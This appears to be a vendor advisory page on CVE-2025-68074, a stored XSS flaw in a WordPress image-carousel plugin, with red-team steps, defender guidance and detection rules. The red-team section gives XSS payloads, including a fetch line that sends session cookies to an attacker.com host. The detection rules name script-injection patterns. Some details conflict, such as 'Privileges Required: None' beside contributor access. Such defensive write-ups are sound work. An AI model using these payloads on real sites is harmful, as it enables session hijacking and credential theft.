CVE-2025-68074
Executive Summary
CVE-2025-68074 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin Image Carousel, affecting versions up to and including 1.0.0.41. This vulnerability allows an authenticated contributor-level attacker to inject malicious scripts into the plugin’s image carousel functionality. When an administrator or other user views the carousel, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the limited impact on confidentiality and integrity. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the WordPress plugin ecosystem, specifically in the Image Carousel plugin. WordPress plugins are distributed via the official WordPress Plugin Directory and third-party marketplaces. The lack of a patch and the contributor-level attack vector highlight risks in the WordPress supply chain, where plugins with insufficient input sanitization can be exploited by authenticated users. Site owners should monitor for updates and consider removing the plugin if no patch is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – An attacker only needs contributor-level access, which is low.
- User Interaction (UI): Required (R) – The victim must view the malicious carousel.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The vulnerability requires user interaction and contributor-level access, but the potential for session hijacking and data theft makes it a significant risk for WordPress sites with multiple user roles.
Deep Dive & Mechanics
The vulnerability exists in the Image Carousel plugin’s handling of image metadata or carousel configuration fields. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and rendering it in the carousel output. An attacker with contributor-level privileges can inject malicious JavaScript into fields such as image captions, alt text, or custom URLs. When an administrator or other user views the carousel on the front end, the injected script executes in their browser context.
Root Cause: The plugin uses echo or print statements to output user input without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows HTML and JavaScript to be rendered directly.
Attack Flow:
- Attacker logs in as a contributor.
- Attacker creates or edits an image carousel item.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable field. - The payload is stored in the WordPress database.
- An administrator or other user visits a page displaying the carousel.
- The payload executes in the victim’s browser, potentially stealing cookies or performing actions on their behalf.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s output functions. A typical vulnerable pattern in WordPress plugins is:
Vulnerable Code (PHP):
echo '<div class="carousel-caption">' . $image_caption . '</div>';
Patched Code (PHP):
echo '<div class="carousel-caption">' . esc_html( $image_caption ) . '</div>';
The patched version uses esc_html() to escape HTML entities, preventing script injection. Without a patch, administrators must manually apply similar escaping or remove the plugin.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with the Image Carousel plugin (<= 1.0.0.41) installed.
- Contributor-level credentials.
Steps:
- Log in to WordPress as a contributor.
- Navigate to the Image Carousel editor (e.g.,
/wp-admin/admin.php?page=image-carousel). - Create a new carousel item or edit an existing one.
- In a vulnerable field (e.g., caption, alt text), inject a payload:
Or a more sophisticated payload:<img src=x onerror=alert(document.cookie)><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the carousel item.
- Wait for an administrator to view the page containing the carousel.
Expected Outcome: The administrator’s browser executes the script, sending their session cookie to the attacker’s server.
Blue Team (Defender)
Detection:
- Monitor WordPress logs for unusual contributor activity, especially edits to Image Carousel items.
- Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Immediately disable or remove the Image Carousel plugin until a patch is available.
- Restrict contributor-level access to only trusted users.
- Apply virtual patching via a WAF to block XSS attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - Unusual
POSTrequests to/wp-admin/admin-ajax.phpwith payloads containing<script>tags.
- Outbound HTTP requests to attacker-controlled domains containing
Host IOCs:
- Presence of
<script>tags in thewp_postmetatable for carousel-related meta keys. - Modified carousel items with suspicious HTML in caption or alt fields.
- Presence of
File IOCs:
- Plugin files (e.g.,
image-carousel.php) containing unescaped output functions.
- Plugin files (e.g.,
Detection Engineering
YARA Rule
rule Detect_Image_Carousel_XSS_Payload {
meta:
description = "Detects XSS payloads in Image Carousel plugin fields"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-68074"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/i
condition:
any of them
}
Sigma Rule
title: Image Carousel XSS Payload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in WordPress Image Carousel plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin-ajax.php'
http.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in carousel fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68074 Image Carousel XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and delete the Image Carousel plugin from all WordPress installations.
- Audit User Roles: Review and restrict contributor-level accounts to minimize the attack surface.
- Apply Virtual Patching: Use a WAF to block XSS payloads in POST requests to WordPress admin endpoints.
Long-Term Fix:
- The vendor must release a patched version that properly escapes all user input using WordPress functions like
esc_html(),esc_attr(), andwp_kses_post(). - Until a patch is available, consider migrating to an alternative image carousel plugin with active security maintenance.
Monitoring:
- Enable WordPress security logging (e.g., using plugins like WP Security Audit Log).
- Monitor for outbound connections from the web server to unknown domains.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.